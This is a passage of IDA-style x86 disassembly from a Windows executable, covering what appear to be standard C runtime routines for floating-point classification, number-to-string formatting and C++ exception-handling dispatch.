or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_41A550 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A579 proc near ; CODE XREF: sub_415D04+31p
; sub_415E4B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_41A590
cmp [ebp+arg_0], edx
jnz short loc_41A5A2
push 1
jmp short loc_41A5CC
; ---------------------------------------------------------------------------
loc_41A590: ; CODE XREF: sub_41A579+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_41A5A2
cmp [ebp+arg_0], edx
jnz short loc_41A5A2
push 2
jmp short loc_41A5CC
; ---------------------------------------------------------------------------
loc_41A5A2: ; CODE XREF: sub_41A579+11j
; sub_41A579+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_41A5B5
push 3
jmp short loc_41A5CC
; ---------------------------------------------------------------------------
loc_41A5B5: ; CODE XREF: sub_41A579+36j
cmp cx, 7FF0h
jnz short loc_41A5CF
test [ebp+arg_4], 7FFFFh
jnz short loc_41A5CA
cmp [ebp+arg_0], edx
jz short loc_41A5CF
loc_41A5CA: ; CODE XREF: sub_41A579+4Aj
push 4
loc_41A5CC: ; CODE XREF: sub_41A579+15j
; sub_41A579+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41A5CF: ; CODE XREF: sub_41A579+41j
; sub_41A579+4Fj
xor eax, eax
pop ebp
retn
sub_41A579 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41A5D3(double,int)
sub_41A5D3 proc near ; CODE XREF: sub_41A227+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_4217E0
push esi
fnstsw ax
sahf
jnz short loc_41A5F3
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_41A689
; ---------------------------------------------------------------------------
loc_41A5F3: ; CODE XREF: sub_41A5D3+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_41A662
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_41A60B
cmp dword ptr [ebp+arg_0], ecx
jz short loc_41A662
loc_41A60B: ; CODE XREF: sub_41A5D3+31j
fld [ebp+arg_0]
fcomp dbl_4217E0
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_41A623
push 1
pop eax
jmp short loc_41A625
; ---------------------------------------------------------------------------
loc_41A623: ; CODE XREF: sub_41A5D3+49j
xor eax, eax
loc_41A625: ; CODE XREF: sub_41A5D3+4Ej
; sub_41A5D3+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_41A63E
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_41A638
or dword ptr [ebp+arg_0+4], 1
loc_41A638: ; CODE XREF: sub_41A5D3+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_41A625
; ---------------------------------------------------------------------------
loc_41A63E: ; CODE XREF: sub_41A5D3+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_41A64C
or byte ptr [ebp+arg_0+7], 80h
loc_41A64C: ; CODE XREF: sub_41A5D3+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_41A550
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_41A689
; ---------------------------------------------------------------------------
loc_41A662: ; CODE XREF: sub_41A5D3+28j
; sub_41A5D3+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_41A550
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_41A689: ; CODE XREF: sub_41A5D3+1Bj
; sub_41A5D3+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_41A5D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A694 proc near ; CODE XREF: sub_419F74+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_41A694 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6A2 proc near ; CODE XREF: sub_419F74+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_41A6A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6B1 proc near ; CODE XREF: sub_415D04+13p
; sub_415D04+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_41A6B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6D4 proc near ; CODE XREF: sub_41A227+1Dp
; sub_41A227+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_41A6EB
fld tbyte_43A268
fistp [ebp+arg_0]
wait
loc_41A6EB: ; CODE XREF: sub_41A6D4+Bj
test cl, 8
jz short loc_41A700
fstsw ax
fld tbyte_43A268
fstp [ebp+var_8]
wait
fstsw ax
loc_41A700: ; CODE XREF: sub_41A6D4+1Aj
test cl, 10h
jz short loc_41A70F
fld tbyte_43A274
fstp [ebp+var_8]
wait
loc_41A70F: ; CODE XREF: sub_41A6D4+2Fj
test cl, 4
jz short loc_41A71D
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_41A71D: ; CODE XREF: sub_41A6D4+3Ej
test cl, 20h
jz short locret_41A728
fldpi
fstp [ebp+var_8]
wait
locret_41A728: ; CODE XREF: sub_41A6D4+4Cj
leave
retn
sub_41A6D4 endp
; =============== S U B R O U T I N E =======================================
sub_41A72A proc near ; CODE XREF: sub_415DD3+Fp
push 30000h
push 10000h
call sub_41E0E7
pop ecx
pop ecx
retn
sub_41A72A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A73C proc near ; CODE XREF: sub_41A77A:loc_41A79Ej
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_4217F0
fstp [ebp+var_8]
fld dbl_4217E8
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_421670
fnstsw ax
sahf
jbe short loc_41A776
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_41A776: ; CODE XREF: sub_41A73C+33j
xor eax, eax
leave
retn
sub_41A73C endp
; =============== S U B R O U T I N E =======================================
sub_41A77A proc near ; CODE XREF: sub_415DD3+5p
push offset aKernel32 ; "KERNEL32"
call dword_4210C8 ; GetModuleHandleA
test eax, eax
jz short loc_41A79E
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_4210C4 ; GetProcAddress
test eax, eax
jz short loc_41A79E
push 0
call eax ; sub_415DD3
retn
; ---------------------------------------------------------------------------
loc_41A79E: ; CODE XREF: sub_41A77A+Dj
; sub_41A77A+1Dj
jmp sub_41A73C
sub_41A77A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A7A3 proc near ; CODE XREF: sub_417D6C+3CBp
; DATA XREF: sub_415DEB+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_417033
cmp eax, 65h
pop ecx
jz short loc_41A7E3
loc_41A7B7: ; CODE XREF: sub_41A7A3+3Ej
inc esi
cmp dword_43812C, 1
jle short loc_41A7D0
movsx eax, byte ptr [esi]
push 4
push eax
call sub_418576
pop ecx
pop ecx
jmp short loc_41A7DF
; ---------------------------------------------------------------------------
loc_41A7D0: ; CODE XREF: sub_41A7A3+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_437F20
mov al, [ecx+eax*2]
and eax, 4
loc_41A7DF: ; CODE XREF: sub_41A7A3+2Bj
test eax, eax
jnz short loc_41A7B7
loc_41A7E3: ; CODE XREF: sub_41A7A3+12j
mov cl, byte_438130
mov al, [esi]
mov [esi], cl
inc esi
loc_41A7EE: ; CODE XREF: sub_41A7A3+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_41A7EE
pop esi
retn
sub_41A7A3 endp
; =============== S U B R O U T I N E =======================================
sub_41A7FD proc near ; CODE XREF: sub_417D6C+3E2p
; DATA XREF: sub_415DEB+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_438130
mov cl, [eax]
test cl, cl
jz short loc_41A819
loc_41A80D: ; CODE XREF: sub_41A7FD+1Aj
cmp cl, dl
jz short loc_41A819
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_41A80D
loc_41A819: ; CODE XREF: sub_41A7FD+Ej
; sub_41A7FD+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_41A84A
loc_41A820: ; CODE XREF: sub_41A7FD+34j
mov cl, [eax]
test cl, cl
jz short loc_41A833
cmp cl, 65h
jz short loc_41A833
cmp cl, 45h
jz short loc_41A833
inc eax
jmp short loc_41A820
; ---------------------------------------------------------------------------
loc_41A833: ; CODE XREF: sub_41A7FD+27j
; sub_41A7FD+2Cj ...
mov ecx, eax
loc_41A835: ; CODE XREF: sub_41A7FD+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_41A835
cmp [eax], dl
jnz short loc_41A840
dec eax
loc_41A840: ; CODE XREF: sub_41A7FD+40j
; sub_41A7FD+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_41A840
locret_41A84A: ; CODE XREF: sub_41A7FD+21j
retn
sub_41A7FD endp
; =============== S U B R O U T I N E =======================================
sub_41A84B proc near ; DATA XREF: sub_415DEB+28o
; seg001:off_43A290o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_4217E0
fnstsw ax
sahf
jb short loc_41A860
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41A860: ; CODE XREF: sub_41A84B+Fj
xor eax, eax
retn
sub_41A84B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A863 proc near ; CODE XREF: sub_41B605+430p
; DATA XREF: sub_415DEB+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_41A88C
lea eax, [ebp+var_8]
push eax
call sub_41E5AA
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_41A88C: ; CODE XREF: sub_41A863+Cj
lea eax, [ebp+arg_8]
push eax
call sub_41E5D7
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_41A863 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A8A1 proc near ; CODE XREF: sub_41AB1E+17p
; sub_41AB68+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_46B6A4, 0
push ebx
push esi
jz short loc_41A8D6
mov ebx, [ebp+arg_8]
mov eax, dword_46B6A0
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_41ABB9
pop ecx
pop ecx
jmp short loc_41A90E
; ---------------------------------------------------------------------------
loc_41A8D6: ; CODE XREF: sub_41A8A1+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_41E67B
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_41E604
add esp, 14h
loc_41A90E: ; CODE XREF: sub_41A8A1+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_41A91A
mov byte ptr [eax], 2Dh
inc eax
loc_41A91A: ; CODE XREF: sub_41A8A1+73j
test ebx, ebx
jle short loc_41A932
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_438130
mov eax, edi
pop edi
mov [eax], cl
loc_41A932: ; CODE XREF: sub_41A8A1+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_46B6A4, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_415A20
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_41A959
mov byte ptr [ecx], 45h
loc_41A959: ; CODE XREF: sub_41A8A1+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_41A99E
mov ebx, [esi+4]
dec ebx
jns short loc_41A96D
neg ebx
mov byte ptr [ecx], 2Dh
loc_41A96D: ; CODE XREF: sub_41A8A1+C5j
inc ecx
cmp ebx, 64h
jl short loc_41A984
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41A984: ; CODE XREF: sub_41A8A1+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_41A99B
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_41A99B: ; CODE XREF: sub_41A8A1+E7j
add [ecx+1], bl
loc_41A99E: ; CODE XREF: sub_41A8A1+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_41A8A1 endp
; =============== S U B R O U T I N E =======================================
sub_41A9A5 proc near ; CODE XREF: sub_41AB45+13p
; sub_41AB68+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_46B6A4, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_41A9E0
mov eax, dword_46B6A8
mov ebx, [esp+10h+arg_8]
mov esi, dword_46B6A0
cmp eax, ebx
jnz short loc_41AA10
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_41AA10
; ---------------------------------------------------------------------------
loc_41A9E0: ; CODE XREF: sub_41A9A5+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_41E67B
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_41E604
add esp, 14h
loc_41AA10: ; CODE XREF: sub_41A9A5+22j
; sub_41A9A5+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_41AA1E
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_41AA1E: ; CODE XREF: sub_41A9A5+70j
mov eax, [esi+4]
test eax, eax
jg short loc_41AA35
push 1
push edi
call sub_41ABB9
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_41AA37
; ---------------------------------------------------------------------------
loc_41AA35: ; CODE XREF: sub_41A9A5+7Ej
add edi, eax
loc_41AA37: ; CODE XREF: sub_41A9A5+8Ej
test ebx, ebx
jle short loc_41AA7C
push 1
push edi
call sub_41ABB9
mov al, byte_438130
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_41AA7C
cmp byte_46B6A4, 0
jz short loc_41AA61
neg esi
jmp short loc_41AA67
; ---------------------------------------------------------------------------
loc_41AA61: ; CODE XREF: sub_41A9A5+B6j
neg esi
cmp ebx, esi
jl short loc_41AA69
loc_41AA67: ; CODE XREF: sub_41A9A5+BAj
mov ebx, esi
loc_41AA69: ; CODE XREF: sub_41A9A5+C0j
push ebx
push edi
call sub_41ABB9
push ebx
push 30h
push edi
call sub_415390
add esp, 14h
loc_41AA7C: ; CODE XREF: sub_41A9A5+94j
; sub_41A9A5+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_41A9A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA83 proc near ; CODE XREF: sub_41AB68+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_41E67B
mov dword_46B6A0, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_46B6A8, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_41E604
mov eax, dword_46B6A0
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_46B6A8, ecx
setl cl
mov byte_46B6AC, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_46B6A8, eax
jl short loc_41AB09
cmp eax, ebx
jge short loc_41AB09
test cl, cl
jz short loc_41AAFA
loc_41AAF0: ; CODE XREF: sub_41AA83+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_41AAF0
and [esi-2], al
loc_41AAFA: ; CODE XREF: sub_41AA83+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_41AB45
add esp, 0Ch
jmp short loc_41AB19
; ---------------------------------------------------------------------------
loc_41AB09: ; CODE XREF: sub_41AA83+63j
; sub_41AA83+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_41AB1E
add esp, 10h
loc_41AB19: ; CODE XREF: sub_41AA83+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41AA83 endp
; =============== S U B R O U T I N E =======================================
sub_41AB1E proc near ; CODE XREF: sub_41AA83+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_46B6A4, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41A8A1
and byte_46B6A4, 0
add esp, 10h
retn
sub_41AB1E endp
; =============== S U B R O U T I N E =======================================
sub_41AB45 proc near ; CODE XREF: sub_41AA83+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_46B6A4, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41A9A5
and byte_46B6A4, 0
add esp, 0Ch
retn
sub_41AB45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AB68 proc near ; CODE XREF: sub_417D6C+3AAp
; DATA XREF: sub_415DEBo ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_41ABA3
cmp [ebp+arg_8], 45h
jz short loc_41ABA3
cmp [ebp+arg_8], 66h
jnz short loc_41AB90
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A9A5
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41AB90: ; CODE XREF: sub_41AB68+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41AA83
jmp short loc_41ABB4
; ---------------------------------------------------------------------------
loc_41ABA3: ; CODE XREF: sub_41AB68+7j
; sub_41AB68+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41A8A1
loc_41ABB4: ; CODE XREF: sub_41AB68+39j
add esp, 10h
pop ebp
retn
sub_41AB68 endp
; =============== S U B R O U T I N E =======================================
sub_41ABB9 proc near ; CODE XREF: sub_41A8A1+2Cp
; sub_41A9A5+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_41ABDC
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_415B10
inc eax
push eax
push esi
add esi, edi
push esi
call sub_416320
add esp, 10h
pop esi
loc_41ABDC: ; CODE XREF: sub_41ABB9+7j
pop edi
retn
sub_41ABB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABDE proc near ; CODE XREF: seg001:00415FCCp
; sub_416035+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_41ABF4
call sub_41B482
loc_41ABF4: ; CODE XREF: sub_41ABDE+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_41AC1C
cmp dword ptr [esi+4], 0
jz short loc_41AC72
cmp [ebp+arg_14], 0
jnz short loc_41AC72
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_41AF25
add esp, 10h
jmp short loc_41AC72
; ---------------------------------------------------------------------------
loc_41AC1C: ; CODE XREF: sub_41ABDE+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_41AC72
cmp dword ptr [eax], 0E06D7363h
jnz short loc_41AC56
cmp [eax+14h], edi
jbe short loc_41AC56
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_41AC56
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_41AC75
; ---------------------------------------------------------------------------
loc_41AC56: ; CODE XREF: sub_41ABDE+4Aj
; sub_41ABDE+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_41AC79
add esp, 20h
loc_41AC72: ; CODE XREF: sub_41ABDE+23j
; sub_41ABDE+29j ...
push 1
pop eax
loc_41AC75: ; CODE XREF: sub_41ABDE+76j
pop edi
pop esi
pop ebp
retn
sub_41ABDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AC79 proc near ; CODE XREF: sub_41ABDE+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_41AC99
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_41AC9E
loc_41AC99: ; CODE XREF: sub_41AC79+16j
call sub_41B482
loc_41AC9E: ; CODE XREF: sub_41AC79+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_41ADF5
cmp dword ptr [esi+10h], 3
jnz short loc_41AD12
cmp [esi+14h], edi
jnz short loc_41AD12
cmp dword ptr [esi+1Ch], 0
jnz short loc_41AD12
mov esi, dword_46B6B0
test esi, esi
jz loc_41ADF0
mov eax, dword_46B6B4
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_41E802
pop ecx
test eax, eax
pop ecx
jnz short loc_41ACF4
call sub_41B482
loc_41ACF4: ; CODE XREF: sub_41AC79+74j
cmp [esi], ebx
jnz loc_41ADF5
cmp dword ptr [esi+10h], 3
jnz short loc_41AD12
cmp [esi+14h], edi
jnz short loc_41AD12
cmp dword ptr [esi+1Ch], 0
jnz short loc_41AD12
call sub_41B482
loc_41AD12: ; CODE XREF: sub_41AC79+41j
; sub_41AC79+46j ...
cmp [esi], ebx
jnz loc_41ADF5
cmp dword ptr [esi+10h], 3
jnz loc_41ADF5
cmp [esi+14h], edi
jnz loc_41ADF5
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_416183
add esp, 14h
mov ebx, eax
loc_41AD49: ; CODE XREF: sub_41AC79+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_41ADE0
cmp [ebx], edi
jg short loc_41ADD5
cmp edi, [ebx+4]
jg short loc_41ADD5
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_41ADD2
loc_41AD6E: ; CODE XREF: sub_41AC79+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_41AD9F
loc_41AD80: ; CODE XREF: sub_41AC79+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_41AEC8
add esp, 0Ch
test eax, eax
jnz short loc_41ADAE
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_41AD80
loc_41AD9F: ; CODE XREF: sub_41AC79+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_41AD6E
jmp short loc_41ADD2
; ---------------------------------------------------------------------------
loc_41ADAE: ; CODE XREF: sub_41AC79+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41AFD9
add esp, 2Ch
loc_41ADD2: ; CODE XREF: sub_41AC79+F3j
; sub_41AC79+133j
mov edi, [ebp+var_10]
loc_41ADD5: ; CODE XREF: sub_41AC79+DEj
; sub_41AC79+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_41AD49
; ---------------------------------------------------------------------------
loc_41ADE0: ; CODE XREF: sub_41AC79+D6j
cmp [ebp+arg_14], 0
jz short loc_41ADF0
push 1
push esi
call sub_41B34E
pop ecx
pop ecx
loc_41ADF0: ; CODE XREF: sub_41AC79+56j
; sub_41AC79+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41ADF5: ; CODE XREF: sub_41AC79+37j
; sub_41AC79+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_41AE1B
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41AE20
add esp, 20h
jmp short loc_41ADF0
; ---------------------------------------------------------------------------
loc_41AE1B: ; CODE XREF: sub_41AC79+180j
jmp sub_41B42C
sub_41AC79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE20 proc near ; CODE XREF: sub_41AC79+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_46B6B8, 0
push esi
push edi
jz short loc_41AE51
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41605A
add esp, 1Ch
test eax, eax
jnz short loc_41AEC4
